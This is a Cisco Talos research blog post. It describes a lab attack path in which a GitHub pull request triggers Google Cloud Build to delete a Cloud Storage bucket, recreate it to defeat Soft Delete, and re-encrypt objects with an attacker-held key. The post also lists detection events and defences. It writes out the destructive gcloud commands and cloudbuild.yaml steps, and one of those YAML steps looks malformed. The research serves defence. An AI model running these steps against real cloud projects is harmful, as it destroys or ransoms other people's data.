Talos recommends creating an anomaly model-style threat detection for the default Cloud Build SA performing actions that are not standard for it to execute in a specific environment. As always, properly applying the principle of least privilege by assigning Cloud Build a lower privileged Service Account with just the permissions needed in a particular environment will also reduce the threat surface identified here. Finally, review the configuration applied to any repositories that can trigger Cloud Build or other CI/CD service jobs, require manual approval for builds triggered by Pull Requests (PRs) and avoid allowing anyone to directly commit code to GitHub repositories without a PR. More details on all three of these topics are described below.

Lab Environment Setup

Talos has an existing Google Cloud Platform lab environment utilized for offensive security research. Within that environment, a Cloud Storage bucket was created and the Cloud Build Application Programming Interface (API) were enabled. Additionally, a target GitHub repository was created; For research purposes, this repository was set to private, but an actual adversary would likely take advantage of a public repository in most cases. The Secrets Manager API is also needed for Cloud Build to integrate with GitHub, so that was also enabled. These actions can be performed using the gcloud and GitHub gh CLI tools using the following commands:

gcloud storage buckets create BUCKET_NAME --location=LOCATION --project=PROJECT_ID
gcloud services enable cloudbuild.googleapis.com --project=PROJECT_ID
gcloud services enable secretmanager.googleapis.com --project=PROJECT_ID
gh repo create REPO_NAME --private --description "Your repository description"

Next, to simulate a real storage bucket populated with data, a small shell script was executed that created 100 text files containing random data and transferred them to the new Cloud Storage bucket.

#!/bin/bash
# Set your bucket name here
BUCKET_NAME="data-destruction-research"
# Create a directory for the files
mkdir -p random_data_files
# Generate 500 files with 10MB of random data
for i in {1..100}
do
    FILE_NAME="random_data_files/file_$i.txt"
    # Use /dev/urandom to generate random data and `head` to limit to 10MB
    head -c $((10*1024*1024)) </dev/urandom > "$FILE_NAME"
    echo "Generated $FILE_NAME"
done
# Upload the files to the GCP bucket
for FILE in random_data_files/*
do
    gsutil cp "$FILE" "gs://$BUCKET_NAME/"
    echo "Uploaded $FILE to gs://$BUCKET_NAME/"
done

Then the GitHub repository and Cloud Build were integrated by creating a connection between the two resources, which can be done using the following command, followed by authenticating and granting access on the GitHub.com side.

gcloud builds connections create github CONNECTION_NAME --region=REGION

Finally, a Cloud Build “trigger” that starts a build when code is pushed to the main branch, a pull request (PR) is created, or code is committed to an existing pull request in the victim GitHub repository, was configured. This can be done using the following gcloud command:

gcloud builds triggers create github 
  --name=TRIGGER_NAME 
  --repository=projects/PROJECT_ID/locations/us-west1/connections/data-destruction/repositories/REPO_NAME 
  --branch-pattern=BRANCH_PATTERN # or --tag-pattern=TAG_PATTERN 
  --build-config=BUILD_CONFIG_FILE 
  --region=us-west1

Defensive Notes

Google’s documentation warns users that it is recommended to require manual approval to trigger a build if utilizing the creation of a PR or a commit to a PR as a trigger condition, since any user that can read a repo can submit a PR. This is excellent advice that should be followed whenever possible, and reviewers should be made aware of the threat surface posed by Cloud Build. For the purpose of illustrating the potential threat vector here, this advice was not heeded and manual approval was not setup in the Talos lab environment. Builds can also be triggered based on a PR being merged into the main branch, which is another reason besides protecting the integrity of the repository that an approving PR review should be required before PRs are merged.

There may be real world scenarios where a valid business case exists to allow automatic build events when a PR is created, which is why a proper defense in depth strategy should include monitoring the events performed by any Service Accounts assigned to Cloud Build. Google also offers the ability to require a comment containing the string “/gcbrun” from either just a user with the GitHub repository owner or collaborator roles or any contributor to be made on a PR to trigger the Cloud Build run. This is another strong security feature that should be configured with the owner or collaborator option selected if possible. If performing a penetration test or red teaming engagement and attempting to target GCP via a GitHub PR, it may be worth commenting that string on your malicious PR in case the Cloud Build trigger is configured to allow any contributor this privilege.

Research & Recommendations

Data Destruction (Mitre ATT&CK T1485)

Talos has previously covered data destruction for impact within GCP Cloud Storage during the course of a Purple Teaming Engagement focused on GCP, but expanded upon this research and utilized the GitHub-to-Cloud Build execution path in this research. The first specific behavior performed, deleting a Cloud Storage bucket, can be performed using the following gcloud command:

gcloud storage rm --recursive gs://BUCKET_NAME

To perform this via a Cloud Build pipeline, Orca’s simple Proof of Concept (PoC) example Cloud Build configuration file, itself in turn based on the example in Google’s documentation, was modified slightly as follows:

- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']

This YAML file was then committed to a GitHub branch and a PR was created for it, which can be done utilizing the following commands:

git clone <repo URL>
cd <repo name>
cp ../totally-not-data-destruction.yaml cloudbuild.yaml
git add cloudbuild.yaml
git commit -m "Not going to do anything bad at all"
git push
gh pr create

In the Orca Security research, a Google Cloud Storage (GCS) bucket for the Cloud Build runtime logs is required. Since threat actors typically wish to avoid leaving forensic artifacts behind, they may choose to specify a GCS bucket in a different GCP account under their control. This provides a detection opportunity by looking for the utilization of an external GCS bucket in a Cloud Build event, assuming all the storage buckets in the account are known. However, when running a Cloud Build job via a GitHub or other repository trigger, specifying a GCS bucket for storing logs is not required.

GCP offers the ability to configure “Soft Delete”, a feature that enables the restoration of accidentally or maliciously deleted GCS buckets and objects for a configurable time period. This is a strong security feature and should be enabled whenever possible. However, as is noted in their official documentation, when a bucket is deleted, its name becomes available for use again and if claimed during the creation of a new bucket, it will no longer by possible to restore the deleted GCS bucket. To truly destroy data in a GCS bucket, an adversary therefore just needs to immediately create a new bucket with the same name after deleting the previous one.

The Cloud Build configuration file can be updated to accomplish this as follows:

steps:
- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']
  args: ['storage', 'buckets', 'create', 'gs://BUCKET_NAME', '--location=BUCKET_LOCATION']

Defensive Notes

Log Events

All of the events discussed above are logged by Google Operations Logs. The following Operations Logs events were identified during the research:

• google.devtools.cloudbuild.v1.CloudBuild.RunBuildTrigger
  • This event logs the creation of a new build via a connection trigger, such as the GitHub Pull Request trigger method discussed above. This will be very useful for a Digital Forensics & Incident Response (DFIR) investigator as part of an investigation, but is unlikely to be a good basis for a threat detection.
• google.devtools.cloudbuild.v1.CloudBuild.CreateBuild
  • This event logs the manual creation of a new build, and indicates what identity principal triggered the event. If the build was manually triggered and has a GCS bucket specified as a destination for build logs, that bucket’s name will be specified in the field protoPayload.request.build.logsBucket=”gs://gcb_testing”. If this field is present, a threat detection or threat hunting query for unknown buckets outside known infrastructure may be of use. Additionally, like with most cloud audit log events, significant quantities of failed CreateBuild events followed by a successful event may be indicative of an adversary attempting to discover new capabilities or escalate privileges Otherwise, since this is a perfectly legitimate event, like RunBuildTrigger it will primarily be of use for DFiR investigations rather than threat detections.
• storage.buckets.delete
  • An event with this methodName value logs the deletion of a GCS bucket. It is automatically of interest during the course of a DFIR investigation that involves data destruction, and may be worth threat hunting for if the value of the protoPayload.authenticationInfo.principalEmail is the default Cloud Build Service Account. This is not automatically worthy of a threat detection, as it can be legitimate for Cloud Build to use a GCS bucket to store temporary data and delete it after the build is complete, but it is likely a good candidate for an anomaly model detection.
• storage.buckets.create
  • While relatively uninteresting in isolation, if this event shortly follows a storage.buckets.delete event it may be indicative of an attempt to bypass the protections offered by Safe Delete, as described above. This may be automatically detection worthy, and would definitely be a useful threat hunting or DFIR investigation query.

Data Encrypted for Impact (Mitre ATT&CK T1486)

Cloud object storage is not inherently immune from ransomware, but despite the concerns of a potential for “ransomcloud” attacks and other similar threat vectors, it is actually quite difficult to irreversibly encrypt objects in a cloud storage bucket. It is much more likely that a data-focused cloud impact attack will involve exfiltrating the objects and deleting them before offering them back in exchange for a ransom, rather than encrypting them. In Google Cloud Storage, all objects are encrypted by default using a Google-managed encryption key, but GCS also supports three other methods of encrypting objects. These methods are server side encryption using the Cloud Key Management Service (CKMS) to manage the keys, also known as customer-managed encryption, server side encryption using a customer provided key not stored in the cloud account at all, and client side encryption of the objects. With customer-managed encryption, if an adversary implements this approach, the legitimate owner of the objects will have access to the CKMS and be able to decrypt them. With either a customer provided encryption key or client side encryption, a customer may be able to overwrite the original versions of the objects, though if the bucket has Object Versioning enabled, an administrator can simply revert to a previous version of the object to retrieve it.

If an adversary is able to identify a bucket that does not have Object Versioning configured, they may be able to utilize the Cloud Build attack vector described previously to encrypt existing objects with a customer provided key that they control. This is possible using the following gcloud CLI command:

gcloud storage cp SOURCE_DATA gs://BUCKET_NAME/OBJECT_NAME --encryption-key=YOUR_ENCRYPTION_KEY

And was performed by updating the previously described cloudbuild.yaml file with entries for 10 objects in the bucket, then triggering another build. In an actual attack, enumeration of the stored objects followed by encryption of all of them would be required.

Defensive Notes

The creation of the new encrypted file was logged with an event of type storage.objects.create, but unfortunately there was no indication that a customer-provided encryption key was utilized for encryption in the event’s body. Therefore there was nothing especially anomalous about the event for a detection or investigator to look for. This whole attack vector though can again be obviated by enabling Object Versioning and Soft Delete, so that is highly recommended.

Cisco Talos Blog – ​Read More